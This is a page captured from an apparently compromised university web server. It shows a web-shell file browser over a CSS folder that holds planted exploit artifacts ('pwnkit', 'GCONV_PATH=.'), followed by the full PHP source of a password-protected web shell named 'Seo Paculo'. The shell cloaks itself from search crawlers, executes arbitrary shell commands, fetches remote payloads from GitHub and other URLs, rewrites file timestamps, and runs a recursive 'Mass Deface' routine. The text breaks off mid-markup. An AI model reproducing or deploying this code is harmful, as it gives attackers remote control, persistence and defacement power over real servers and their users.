Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
webalizer /
css /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxrwxr-x
addons
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxrwxr-x
modules
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-rw-r--
77dbdf1b3406.php
19.72
KB
-rw-rw-r--
academico.css
3.01
KB
-rw-r--r--
adminer-5.3.0-en.php
318.84
KB
-rw-rw-r--
avisos.css
1.62
KB
-rw-r--r--
beca.css
3.32
KB
-rw-r--r--
bootstrap.css
187.84
KB
-rw-r--r--
bootstrap.min.css
152.11
KB
-rw-r--r--
contraloriaEstilos.css
3.6
KB
-rw-r--r--
diplomado.css
3.33
KB
-rw-r--r--
directorio.css
3.75
KB
-rw-r--r--
estilosmenu.css
2.54
KB
-rw-r--r--
etica.css
1.7
KB
-rw-r--r--
evaluacion.css
3.33
KB
-rw-r--r--
evaluacionEstilos.css
3.33
KB
-rw-r--r--
fceddaedf103.php
19.72
KB
-rw-rw-r--
index.css
3.16
KB
-rw-r--r--
iso.css
2.25
KB
-rw-r--r--
licitacion.css
1.7
KB
-rw-r--r--
logotipos.css
3.31
KB
-rw-r--r--
mdb.css
311.07
KB
-rw-r--r--
mdb.lite.css
242.01
KB
-rw-r--r--
mdb.lite.min.css
198.8
KB
-rw-r--r--
mdb.min.css
252.83
KB
-rw-r--r--
ofertaacademica.css
3.44
KB
-rw-r--r--
oferta.css
2.19
KB
-rw-r--r--
POA.css
3.32
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxrwxr-x
reglamentos.css
3.75
KB
-rw-r--r--
sistema.css
3.31
KB
-rw-r--r--
style.min.css
259
B
-rw-r--r--
tes.php
48.22
KB
-rw-rw-r--
urdvcihg.php
760
B
-rw-r--r--
vida2.css
2.17
KB
-rw-r--r--
vinculacion.css
3.07
KB
-rw-r--r--
worksec.php
1.02
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tes.php
<?php session_start(); define('APP_NAME', 'Seo Paculo'); define('APP_VER', '0.8'); $password = defined('PW') ? PW : '$2y$10$.LC4Uf1OqLe5e9uW.8NgDeOKgMbTx9Q9l6oPDst6ZN8fCQ5LFd5se'; // Handle logout if (isset($_GET['logout'])) { session_destroy(); header('Location: '.$_SERVER['PHP_SELF']); exit; } // Undetect bots if (!empty($_SERVER['HTTP_USER_AGENT'])) { $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl']; if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } // Handle login actions if (!isset($_SESSION['logged_in'])) { if ($_SERVER['REQUEST_METHOD']=='POST' && isset($_POST['username'], $_POST['password']) && $_POST['username'] == 'paculo' && password_verify($_POST['password'], $password)) { $_SESSION['logged_in'] = true; header('Location: '.$_SERVER['PHP_SELF']); exit; } // Tema login sederhana dengan logo yang DIPERBAIKI echo '<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>'.APP_NAME.' - Login</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0a0a0a; min-height: 100vh; display: flex; align-items: center; justify-content: center; font-family: Arial, sans-serif; } .login-box { background: #1a1a1a; border: 2px solid #d4af37; border-radius: 10px; padding: 40px; width: 90%; max-width: 450px; box-shadow: 0 0 30px rgba(212, 175, 55, 0.4); } .logo { text-align: center; margin-bottom: 30px; } .logo-img { width: 120px; height: 120px; margin: 0 auto 20px; background: url("https://j.top4top.io/p_3640ccf4d1.png") center/contain no-repeat; /* PERBAIKAN: Logo akan terlihat normal */ filter: brightness(1); } .logo-text { color: #d4af37; font-size: 28px; font-weight: bold; margin-bottom: 5px; } .logo-sub { color: #888; font-size: 14px; } .form-group { margin-bottom: 25px; } .form-group input { width: 100%; padding: 14px 18px; background: #111; border: 1px solid #333; border-radius: 5px; color: #d4af37; font-size: 16px; transition: border 0.3s; } .form-group input:focus { outline: none; border-color: #d4af37; box-shadow: 0 0 10px rgba(212, 175, 55, 0.3); } .login-btn { width: 100%; padding: 15px; background: #d4af37; border: none; border-radius: 5px; color: #000; font-weight: bold; cursor: pointer; font-size: 18px; transition: background 0.3s; } .login-btn:hover { background: #b8941f; } .error { color: #ff4444; text-align: center; margin-top: 15px; font-size: 14px; display: none; } .footer { text-align: center; margin-top: 25px; color: #666; font-size: 12px; } .gold-line { height: 2px; background: linear-gradient(90deg, transparent, #d4af37, transparent); margin: 25px 0; } </style> </head> <body> <div class="login-box"> <div class="logo"> <div class="logo-img"></div> <div class="logo-text">'.APP_NAME.'</div> <div class="logo-sub">Secure Access Panel</div> </div> <div class="gold-line"></div> <form method="POST"> <div class="form-group"> <input type="text" name="username" placeholder="Username" required autocomplete="off" value="paculo"> </div> <div class="form-group"> <input type="password" name="password" placeholder="Password" required autocomplete="off"> </div> <div class="error" id="errorMsg">Invalid credentials</div> <button type="submit" class="login-btn">LOGIN</button> </form> <div class="footer">v'.APP_VER.' © '.date('Y').'</div> </div> <script> '.(isset($_POST['password']) ? 'document.getElementById("errorMsg").style.display = "block";' : '').' </script> </body></html>'; exit; } // Path $action = isset($_GET['action']) ? $_GET['action'] : 'filemanager'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $parent = dirname($path); // Handle sort preference if(isset($_GET['sort'])) $_SESSION['sort']=$_GET['sort']; if(isset($_GET['order'])) $_SESSION['order']=$_GET['order']; $sort = isset($_SESSION['sort']) ? $_SESSION['sort'] : 'name'; $order = isset($_SESSION['order']) ? $_SESSION['order'] : 'asc'; // Handle search $search = isset($_GET['search']) ? $_GET['search'] : ''; // Handle POST actions if ($_SERVER['REQUEST_METHOD'] == 'POST') { try { $self = __FILE__; if($action=='command' && isset($_POST['cmd'])){ $cmd_path = isset($_POST['path']) ? $_POST['path'] : getcwd(); if (is_dir($cmd_path)) { chdir($cmd_path); } if(function_exists('shell_exec')){$output = shell_exec($_POST['cmd'].' 2>&1');}elseif (function_exists('proc_open')) {$d = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $p = proc_open($_POST['cmd'],$d,$pipes);if (is_resource($p)) {fclose($pipes[0]);$output = stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);fclose($pipes[1]); fclose($pipes[2]); proc_close($p);}else{$output="proc_open failed!";}}else{$output="Server function disabled!";} echo '<pre class="bg-black text-green-400 p-2 rounded">'.$output.'</pre>'; exit; } elseif (isset($_POST['summon_url'], $_POST['summon_path'])) { $url = trim($_POST['summon_url']); $dir = rtrim($_POST['summon_path'], '/\\'); $file = basename(parse_url($url, PHP_URL_PATH)); $save = $dir.'/'.$file; if (!filter_var($url, FILTER_VALIDATE_URL)) $_SESSION['msg']="URL Not Valid to Summon!"; elseif (file_exists($save)) $_SESSION['msg']="<b>$file</b> already Summoned!"; elseif (($data = @file_get_contents($url)) === false) $_SESSION['msg']="Failed summon from selected program!"; elseif (@file_put_contents($save, $data) !== false) $_SESSION['msg']="<b>$file</b> Summoned!"; else $_SESSION['msg']="Failed summon!"; $_SESSION['msg_type'] = strpos($_SESSION['msg'], 'Summoned!') !== false ? 'success' : 'error'; exit; } else if ($action=='mdfc' && isset($_POST['mdfc_base_dir'], $_POST['mdfc_name'], $_POST['mdfc_content'])) { function mdfc($d,$f,$c,&$s=0,&$g=0){ if(!is_dir($d))return; $p=rtrim($d,'/')."/".$f; if(@file_put_contents($p,$c)!==false){echo "[✓] $p\n";$s++;}else{echo "[✗] $p\n";$g++;} foreach(scandir($d)as$i)if($i!='.'&&$i!='..'&&is_dir($d.'/'.$i))mdfc($d.'/'.$i,$f,$c,$s,$g); } echo "<pre>"; mdfc($_POST['mdfc_base_dir'],basename($_POST['mdfc_name']),$_POST['mdfc_content'],$s,$g); echo "\Done. Success: $s | Failed: $g</pre>";exit; } elseif (isset($_POST['get_content'])) { $f = basename($_POST['get_content']); if ($f == $self) { echo 'Author @willygoid'; } else { $file = $path.'/'.$f; if (is_file($file)) {echo file_get_contents($file);} else {echo '';} } exit; } elseif (isset($_POST['new_folder'])){ mkdir($path.'/'.basename($_POST['new_folder'])); $_SESSION['msg']='Folder created'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['new_file'])){ $new = basename($_POST['new_file']); if($new==$self){ $_SESSION['msg']='Cannot overwrite file manager itself'; $_SESSION['msg_type']='error'; } else { file_put_contents($path.'/'.$new, ''); $_SESSION['msg']='File created'; $_SESSION['msg_type']='success'; } } elseif (isset($_POST['delete'])){ $t=basename($_POST['delete']); if($t==$self){ $_SESSION['msg']='Cannot delete file manager itself'; $_SESSION['msg_type']='error'; } else { $target=$path.'/'.$t; if(is_dir($target)?rmdir($target):unlink($target)){ $_SESSION['msg']='Deleted successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Delete failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_POST['rename_from'],$_POST['rename_to'])){ if(rename($path.'/'.basename($_POST['rename_from']),$path.'/'.basename($_POST['rename_to']))){ $_SESSION['msg']='Renamed successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Rename failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['edit_file'],$_POST['content'])){ $edit = basename($_POST['edit_file']); if($edit==$self){ $_SESSION['msg']='Cannot edit file manager itself'; $_SESSION['msg_type']='error'; } else { if(file_put_contents($path.'/'.$edit,$_POST['content'])!==false){ $_SESSION['msg']='Saved successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Save failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_FILES['files'])){ $ok=0; foreach($_FILES['files']['tmp_name'] as $i=>$tmp) if(move_uploaded_file($tmp,$path.'/'.basename($_FILES['files']['name'][$i]))) $ok++; $_SESSION['msg']= $ok.' file(s) uploaded'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['update_perm']) && isset($_POST['perm_value'])) { $file=$path.'/'.basename($_POST['update_perm']); if(@chmod($file, octdec($_POST['perm_value']))){ $_SESSION['msg']='Permission updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update permission failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['update_mtime'],$_POST['mtime_value'])){ $file=$path.'/'.basename($_POST['update_mtime']); if(@touch($file, strtotime($_POST['mtime_value']))){ $_SESSION['msg']='Modified time updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['download_url'],$_POST['output_name'],$_POST['method'])){ $url=trim($_POST['download_url']); $out=$path.'/'.basename($_POST['output_name']); $method=$_POST['method']; $ok=false; switch($method){ case 'file_get_contents': $d=@file_get_contents($url); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'copy': $ok=@copy($url,$out); break; case 'fopen': $in=@fopen($url,'rb'); $outf=@fopen($out,'wb'); if($in&&$outf){while(!feof($in))fwrite($outf,fread($in,8192)); fclose($in); fclose($outf); $ok=true;} break; case 'stream_context': $ctx=stream_context_create(); $d=@file_get_contents($url,false,$ctx); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'curl': $ch=curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $d=curl_exec($ch); curl_close($ch); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; } $_SESSION['msg']= $ok?'Download success':'Download failed'; $_SESSION['msg_type']=$ok?'success':'error'; } } catch(Exception $e){ $_SESSION['msg']='Error: '.$e->getMessage(); $_SESSION['msg_type']='error'; } header('Location: '.$_SERVER['REQUEST_URI']); exit; } // Scan dir $files=scandir($path); $folders=[];$regular_files=[]; foreach($files as $f){ if($f=='.'||$f=='..')continue; $fp=$path.'/'.$f; $stat = stat($fp); if($search && stripos($f,$search)===false) continue; $u = function_exists('posix_getpwuid') ? (posix_getpwuid($stat['uid'])['name'] ?? '?') : '?'; $g = function_exists('posix_getgrgid') ? (posix_getgrgid($stat['gid'])['name'] ?? '?') : '?'; $perm= substr(sprintf('%o', $stat['mode']), -3); $item=['name'=>$f,'mtime'=>$stat['mtime'],'owner'=>$u.':'.$g,'perm'=>$perm]; if(is_dir($fp)){ $folders[]=$item; }else{ $item['size'] = getSize($stat['size']); $regular_files[]=$item;} } //Calculate file size function getSize($s) { for ($i = 0; $s >= 1024 && $i < 4; $i++) $s /= 1024; return round($s, 2) . ['B','KB','MB','GB','TB'][$i]; } // Sort $sort_func = function($a, $b) use ($sort, $order) { if ($sort == 'mtime') { if ($order == 'asc') { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] < $b['mtime']) ? -1 : 1); } else { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] > $b['mtime']) ? -1 : 1); } } else { return ($order == 'asc') ? strcasecmp($a['name'], $b['name']) : strcasecmp($b['name'], $a['name']); } }; usort($folders,$sort_func); usort($regular_files,$sort_func); // URL builder function toggle_order($c){return $c=='asc'?'desc':'asc';} function sort_url($by,$cs,$co,$p,$s){$o=($by==$cs)?toggle_order($co):'asc'; return "?path=".urlencode($p)."&sort=$by&order=$o&search=".urlencode($s);} //Breadcrumbs $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $breadcrumbs = []; $build = DIRECTORYSEPARATOR; foreach ($parts as $part) { if ($part === '') continue; $build .= $part . DIRECTORY_SEPARATOR; $breadcrumbs[] = ['name'=>$part, 'path'=>$build]; } // Goto Dir $self_dir = dirname(realpath(__FILE__)); $docroot = realpath($_SERVER['DOCUMENT_ROOT']); //Count Domain function countDomains($f='/etc/named.conf'){ if(strtoupper(substr(PHP_OS,0,3))==='WIN') return '-'; if(!is_readable($f)) return "-"; $c=0; foreach(file($f, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $l) if(strpos($l,'zone')!==false && preg_match('#zone "(.*)"#',$l,$m) && strlen(trim($m[1]))>2) $c++; return "$c Domain"; } //Downloader function downloader($url, $dest = null) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if ($dest === null) { curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); return $data !== false ? $data : false; } $fp = fopen($dest, 'w'); if (!$fp) return false; curl_setopt($ch, CURLOPT_FILE, $fp); $res = curl_exec($ch); curl_close($ch); fclose($fp); return $res !== false; } if ($dest !== null && ini_get('allow_url_fopen')) { return @copy($url, $dest); } return ini_get('allow_url_fopen') ? @file_get_contents($url) : false; } //Get Ip Public Info function getPublicIP(){return ($ip=downloader('https://api.ipify.org'))?$ip:gethostbyname(gethostname());} //Server info function getServerInfo(){ return [ 'Server IP' => getPublicIP(), 'OS' => php_uname(), 'PHP Version' => PHP_VERSION, 'Server Software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'CLI', 'Disabled Functions' => ($d = ini_get('disable_functions')) ? implode(', ', explode(',', $d)) : '-', 'Loaded Extensions' => implode(', ', get_loaded_extensions()), 'My IP' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-', 'User:Group' => get_current_user() . ':' . (function_exists('posix_getgrgid') && function_exists('posix_geteuid') ? posix_getgrgid(posix_geteuid())['name'] : '?'), 'Domains' => countDomains() ]; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title><?=APP_NAME?> v<?=APP_VER?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Arial, sans-serif; background: #0a0a0a; color: #e0e0e0; line-height: 1.4; } body.light { background: #f5f5f5; color: #333; } /* Header */ .header { background: #1a1a1a; padding: 20px; border-bottom: 3px solid #d4af37; display: flex; justify-content: space-between; align-items: center; } body.light .header { background: #fff; border-color: #d4af37; } .logo-section { display: flex; align-items: center; gap: 15px; } .logo-small { width: 50px; height: 50px; background: url("https://j.top4top.io/p_3640ccf4d1.png") center/contain no-repeat; /* PERBAIKAN: Logo terlihat normal */ filter: brightness(1); } body.light .logo-small { filter: brightness(1); } .app-title { font-size: 24px; font-weight: bold; color: #d4af37; } .theme-btn { background: #d4af37; color: #000; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; font-weight: bold; transition: background 0.3s; } .theme-btn:hover { background: #b8941f; } /* Logo Center BESAR dengan PERBAIKAN */ .logo-center { text-align: center; padding: 40px 20px; background: rgba(26, 26, 26, 0.8); margin: 20px; border-radius: 15px; border: 2px solid #333; box-shadow: 0 0 30px rgba(212, 175, 55, 0.3); } body.light .logo-center { background: rgba(255, 255, 255, 0.9); border-color: #d4af37; } .logo-big { width: 150px; height: 150px; margin: 0 auto 20px; background: url("https://j.top4top.io/p_3640ccf4d1.png") center/contain no-repeat; /* PERBAIKAN: Logo terlihat normal */ filter: brightness(1); } body.light .logo-big { filter: brightness(1); } .logo-title { font-size: 32px; font-weight: bold; color: #d4af37; margin-bottom: 10px; text-shadow: 0 0 10px rgba(212, 175, 55, 0.5); } .logo-subtitle { color: #d4af37; font-size: 20px; font-weight: 600; } body.light .logo-subtitle { color: #b8941f; } /* Navigation */ .nav-buttons { display: flex; flex-wrap: wrap; gap: 12px; padding: 20px; background: #1a1a1a; border-bottom: 2px solid #333; } body.light .nav-buttons { background: #fff; border-color: #ddd; } .nav-btn { background: #2a2a2a; color: #e0e0e0; border: 1px solid #444; padding: 10px 20px; border-radius: 5px; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; transition: all 0.3s; } body.light .nav-btn { background: #f0f0f0; color: #333; border-color: #ddd; } .nav-btn:hover { background: #3a3a3a; border-color: #d4af37; } body.light .nav-btn:hover { background: #e8e8e8; } .nav-btn.active { background: #d4af37; color: #000; border-color: #d4af37; } .logout-btn { background: #c44; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; transition: background 0.3s; } .logout-btn:hover { background: #d55; } /* Breadcrumb */ .breadcrumb { background: #222; padding: 15px 20px; margin: 0 20px; border-radius: 5px; border: 1px solid #333; font-size: 14px; } body.light .breadcrumb { background: #f8f8f8; border-color: #ddd; } .breadcrumb a { color: #d4af37; text-decoration: none; transition: color 0.3s; } .breadcrumb a:hover { color: #f5d76e; } body.light .breadcrumb a { color: #b8941f; } /* Main Content */ .container { max-width: 1400px; margin: 0 auto; padding: 20px; } /* File Manager */ .file-actions { display: flex; flex-wrap: wrap; gap: 12px; margin-bottom: 25px; padding: 20px; background: #1a1a1a; border-radius: 8px; border: 1px solid #333; } body.light .file-actions { background: #f8f8f8; border-color: #ddd; } .action-btn { background: #2a2a2a; color: #e0e0e0; border: 1px solid #444; padding: 10px 18px; border-radius: 5px; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; transition: all 0.3s; } body.light .action-btn { background: #fff; color: #333; border-color: #ccc; } .action-btn:hover { background: #3a3a3a; border-color: #d4af37; } body.light .action-btn:hover { background: #f0f0f0; } .search-box { display: flex; gap: 5px; } .search-box input { padding: 10px 15px; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff; width: 250px; } body.light .search-box input { background: #fff; color: #333; border-color: #ccc; } .search-box button { background: #d4af37; color: #000; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; } /* File Table */ .file-table { width: 100%; border-collapse: collapse; background: #1a1a1a; border: 1px solid #333; border-radius: 8px; overflow: hidden; } body.light .file-table { background: #fff; border-color: #ddd; } .file-table th { background: #2a2a2a; padding: 15px; text-align: left; border-bottom: 2px solid #444; color: #d4af37; font-weight: 600; } body.light .file-table th { background: #f8f8f8; border-color: #ddd; } .file-table td { padding: 12px 15px; border-bottom: 1px solid #333; } body.light .file-table td { border-color: #eee; } .file-table tr:hover { background: #2a2a2a; } body.light .file-table tr:hover { background: #f5f5f5; } .file-table a { color: #4a9eff; text-decoration: none; transition: color 0.3s; } .file-table a:hover { color: #6bb5ff; text-decoration: underline; } .perm-btn, .mtime-btn { background: none; border: none; color: #d4af37; cursor: pointer; text-decoration: underline; font-family: monospace; padding: 5px; } .perm-btn:hover, .mtime-btn:hover { color: #f5d76e; } .file-actions-cell button { padding: 6px 12px; margin: 0 3px; background: #333; color: #fff; border: none; border-radius: 4px; cursor: pointer; transition: background 0.3s; } body.light .file-actions-cell button { background: #e0e0e0; color: #333; } .file-actions-cell button:hover { background: #444; } body.light .file-actions-cell button:hover { background: #d0d0d0; } /* Modals */ .modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); display: none; align-items: center; justify-content: center; z-index: 1000; } .modal-content { background: #1a1a1a; padding: 30px; border-radius: 10px; border: 2px solid #d4af37; width: 90%; max-width: 700px; max-height: 90vh; overflow-y: auto; box-shadow: 0 0 40px rgba(212, 175, 55, 0.3); } body.light .modal-content { background: #fff; } .modal h2 { color: #d4af37; margin-bottom: 20px; padding-bottom: 10px; border-bottom: 2px solid #333; font-size: 24px; } .modal input, .modal textarea, .modal select { width: 100%; padding: 12px 15px; margin: 10px 0; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff; font-size: 14px; } body.light .modal input, body.light .modal textarea, body.light .modal select { background: #fff; color: #333; border-color: #ccc; } .modal textarea { height: 350px; font-family: monospace; resize: vertical; font-size: 13px; } .modal-buttons { display: flex; justify-content: flex-end; gap: 15px; margin-top: 25px; } .modal-btn { padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-weight: bold; font-size: 16px; transition: all 0.3s; } .modal-btn.primary { background: #d4af37; color: #000; } .modal-btn.primary:hover { background: #b8941f; } .modal-btn.secondary { background: #666; color: #fff; } .modal-btn.secondary:hover { background: #555; } /* Footer */ .footer { text-align: center; padding: 25px; color: #888; border-top: 1px solid #333; margin-top: 50px; font-size: 14px; } body.light .footer { border-color: #ddd; } /* Responsive */ @media (max-width: 768px) { .header { flex-direction: column; gap: 15px; text-align: center; } .nav-buttons, .file-actions { flex-direction: column; align-items: stretch; } .nav-btn, .action-btn, .logout-btn { width: 100%; justify-content: center; } .search-box input { width: 100%; } .file-table { font-size: 14px; display: block; overflow-x: auto; } .file-table th, .file-table td { padding: 10px 8px; min-width: 120px; } .modal-content { width: 95%; padding: 20px; } .logo-big { width: 120px; height: 120px; } .logo-title { font-size: 28px; } .logo-subtitle { font-size: 18px; } } @media (max-width: 480px) { .container { padding: 10px; } .breadcrumb, .logo-center { margin: 10px; padding: 15px; } .logo-big { width: 100px; height: 100px; } .logo-title { font-size: 24px; } } </style> <script> $(document).ready(function() { // Theme toggle $('#toggleTheme').click(function() { $('body').toggleClass('light'); localStorage.setItem('theme', $('body').hasClass('light') ? 'light' : 'dark'); $(this).text($('body').hasClass('light') ? '🌙 Dark' : '☀️ Light'); }); // Load saved theme if(localStorage.getItem('theme') === 'light') { $('body').addClass('light'); $('#toggleTheme').text('🌙 Dark'); } // Modal handling $('[data-modal]').click(function() { const modalId = $(this).data('modal'); $('#' + modalId).show(); }); $('.close-modal').click(function() { $(this).closest('.modal').hide(); }); // File actions $('.edit-file').click(function() { const filename = $(this).data('file'); $('#editFilename').text(filename); $('#editFileInput').val(filename); $.post('', {get_content: filename}, function(data) { $('#editContent').val(data); $('#editModal').show(); }); }); $('.delete-file').click(function() { const filename = $(this).data('file'); $('#deleteFilename').text(filename); $('#deleteFileInput').val(filename); $('#deleteModal').show(); }); $('.rename-file').click(function() { const filename = $(this).data('file'); $('#renameOld').val(filename); $('#renameNew').val(filename); $('#renameModal').show(); }); $('.perm-file').click(function() { const filename = $(this).data('file'); const perm = $(this).data('perm'); $('#permFilename').text(filename); $('#permFileInput').val(filename); $('#permValue').val(perm); $('#permModal').show(); }); $('.mtime-file').click(function() { const filename = $(this).data('file'); const mtime = $(this).data('mtime'); $('#mtimeFilename').text(filename); $('#mtimeFileInput').val(filename); $('#mtimeValue').val(mtime); $('#mtimeModal').show(); }); // Menu buttons $('.menu-btn').click(function(e) { e.preventDefault(); const action = $(this).data('action'); const path = '<?=urlencode($path)?>'; $('.menu-btn').removeClass('active'); $(this).addClass('active'); $('#contentArea').load('?action=' + action + '&path=' + path); }); // File upload $('#uploadBtn').click(function() { $('#uploadInput').click(); }); $('#uploadInput').change(function() { $('#uploadForm').submit(); }); // Close modal on outside click $(window).click(function(e) { if($(e.target).hasClass('modal')) { $(e.target).hide(); } }); }); </script> </head> <body> <div class="header"> <div class="logo-section"> <div class="logo-small"></div> <div class="app-title"><?=APP_NAME?> v<?=APP_VER?></div> </div> <button id="toggleTheme" class="theme-btn">☀️ Light</button> </div> <!-- Logo Center BESAR dengan PERBAIKAN --> <div class="logo-center"> <div class="logo-big"></div> <div class="logo-title">Seo Paculo</div> <div class="logo-subtitle">Ganteng</div> </div> <div class="nav-buttons"> <button class="menu-btn nav-btn active" data-action="filemanager">📁 File Manager</button> <button class="menu-btn nav-btn" data-action="serverinfo">💻 Server Info</button> <button class="menu-btn nav-btn" data-action="command">💡 Command</button> <div class="nav-btn"> <select id="summonSelect" style="background: transparent; border: none; color: inherit; width: 100%;"> <option value="">🧙♂️ Summoner</option> <option value="https://github.com/vrana/adminer/releases/download/v5.3.0/adminer-5.3.0-en.php">Adminer</option> <option value="https://raw.githubusercontent.com/dan1584/asfdas/refs/heads/main/cp.php">Cpanel Manager</option> </select> </div> <button id="summonBtn" class="nav-btn">🪄 Summon</button> <button class="menu-btn nav-btn" data-action="mdfc">📑 Mass Deface</button> <a href="?logout=true" class="logout-btn">🚪 Logout</a> </div> <div class="breadcrumb"> <?php foreach($breadcrumbs as $i => $crumb): ?> <?php if($i < count($breadcrumbs)-1): ?> <a href="?path=<?=urlencode(rtrim($crumb['path'],'/'))?>"><?=htmlspecialchars($crumb['name'])?></a> / <?php else: ?> <span style="color: <?=is_writable($crumb['path'])?'#4CAF50':'#F44336'?>"> <?=htmlspecialchars($crumb['name'])?> </span> <?php endif;?> <?php endforeach; ?> </div> <div class="container"> <div id="contentArea"> <?php if($action=='serverinfo'): ?> <div class="file-actions"> <h2 style="color: #d4af37; margin: 0;">💻 Server Information</h2> </div> <div style="background: #1a1a1a; padding: 25px; border-radius: 8px; border: 1px solid #333; margin-top: 20px;"> <?php $info = getServerInfo(); ?> <table style="width: 100%; border-collapse: collapse;"> <?php foreach($info as $k=>$v): ?> <tr> <td style="padding: 12px; border-bottom: 1px solid #333; width: 200px; color: #d4af37;"><strong><?=htmlspecialchars($k)?></strong></td> <td style="padding: 12px; border-bottom: 1px solid #333; font-family: monospace;"><?=htmlspecialchars($v)?></td> </tr> <?php endforeach; ?> </table> </div> <?php elseif($action=='command'): ?> <div class="file-actions"> <h2 style="color: #d4af37; margin: 0;">💡 Execute Command</h2> </div> <div style="background: #1a1a1a; padding: 25px; border-radius: 8px; border: 1px solid #333; margin-top: 20px;"> <form method="post" onsubmit="return executeCommand(this);"> <div style="display: flex; gap: 15px; margin-bottom: 20px;"> <input type="text" name="cmd" placeholder="Enter command..." style="flex: 1; padding: 12px 15px; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff;"> <input type="hidden" name="path" value="<?=htmlspecialchars($path)?>"> <button type="submit" style="background: #d4af37; color: #000; border: none; padding: 12px 25px; border-radius: 5px; cursor: pointer; font-weight: bold;">Run</button> </div> </form> <div id="commandOutput" style="background: #000; color: #0f0; padding: 20px; border-radius: 5px; font-family: monospace; white-space: pre-wrap; max-height: 500px; overflow-y: auto; border: 1px solid #333;"></div> </div> <script> function executeCommand(form) { const formData = $(form).serialize(); $('#commandOutput').html('<span style="color: #d4af37;">Executing command...</span>'); $.post('?action=command', formData, function(data) { $('#commandOutput').html(data); }); return false; } </script> <?php elseif($action=='mdfc'): ?> <div class="file-actions"> <h2 style="color: #d4af37; margin: 0;">📑 Mass Deface</h2> </div> <div style="background: #1a1a1a; padding: 25px; border-radius: 8px; border: 1px solid #333; margin-top: 20px;"> <form method="POST" onsubmit="return startMassDeface(this);"> <div style="margin-bottom: 20px;"> <label style="display: block; margin-bottom: 8px; color: #d4af37;">Base Directory</label> <input type="text" name="mdfc_base_dir" value="<?=$docroot?>" style="width: 100%; padding: 12px; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff; margin-bottom: 20px;"> </div> <div style="margin-bottom: 20px;"> <label style="display: block; margin-bottom: 8px; color: #d4af37;">File Name</label> <input type="text" name="mdfc_name" placeholder="index.php" style="width: 100%; padding: 12px; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff; margin-bottom: 20px;"> </div> <div style="margin-bottom: 20px;"> <label style="display: block; margin-bottom: 8px; color: #d4af37;">File Content</label> <textarea name="mdfc_content" rows="8" placeholder="File content here..." style="width: 100%; padding: 12px; font-family: monospace; background: #222; border: 1px solid #444; border-radius: 5px; color: #fff;"></textarea> </div> <button type="submit" 